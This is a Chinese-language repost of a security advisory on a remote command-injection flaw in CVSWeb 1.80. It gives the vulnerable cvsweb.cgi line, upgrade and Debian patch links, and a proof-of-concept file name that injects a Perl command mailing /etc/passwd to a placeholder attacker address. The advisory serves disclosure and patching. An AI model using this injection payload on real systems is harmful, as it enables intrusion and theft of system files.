CVSWeb远程攻击漏洞精简版

此文章主要讲述的是CVSWeb远程攻击漏洞,我前两天在相关网站看见CVSWeb远程攻击漏洞的资料，觉得挺好，就拿出来供大家分享,以下就是文章的详细内容介绍，希望会给你带来一些帮助在此方面。

受影响系统：

CVSWeb Developer CVSWeb 1.80

不受影响系统：

CVSWeb Developer CVSWeb 1.89

CVSWeb Developer CVSWeb 1.86

描述：

Cvsweb 1.80包含一个安全远程攻击漏洞，如果攻击者对cvs库有写权限，他就可以远程获得对cvs server的

shell访问权限。出问题的代码在cvsweb.cgi中：

open($fh, "rlog '$filenames' 2>/dev/null |")

攻击者通过建立一个特殊的文件名，来发动攻击。

<* 来源： Wizdumb *>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负!

攻击者会首先按照下列步骤操作：

SHELLCODE="';perl -e '$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:x2Fx40:; system $_';'"

touch $SHELLCODE

cvs add $SHELLCODE

cvs commit -m '' $SHELLCODE

然后攻击者会访问cvsweb页面，浏览他设置木马文件的目录。这将导致/etc/passwd 文件被

发送给攻击者，当然攻击者也可以执行其他的命令。

建议：

升级到1.86或者更高版本，下载地址：

http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/

[ Debian Linux ]

Debian GNU/Linux 2.1 alias slink

源码包：

http://security.debian.org/dists/stable/updates/source/cvsweb_109.dsc

MD5 checksum: b1810728310882fb72078674521ee369

http://security.debian.org/dists/stable/updates/source/cvsweb_109.tar.gz

MD5 checksum: 4c42ec3ba7248fc2499cdfaa6ae6b702

以上的相关内容就是对CVSWeb远程攻击漏洞的介绍，望你能有所收获。

【编辑推荐】

　　推荐阅读

　　五大关键趋势对数据中心设计的影响精简版

以下的文章主要描述的是影响数据中心设计的5个关键趋势，很多企业逐渐发现，给数据中心设计更宽敞的空间只只能是挥霍金钱、配置了很多不必要的基础设施而已。于是今天的数据中心设计，在考虑到企业未来的发展时，还要>>>详细阅读

地址：http://www.17bianji.com/anquan/buding/1224.html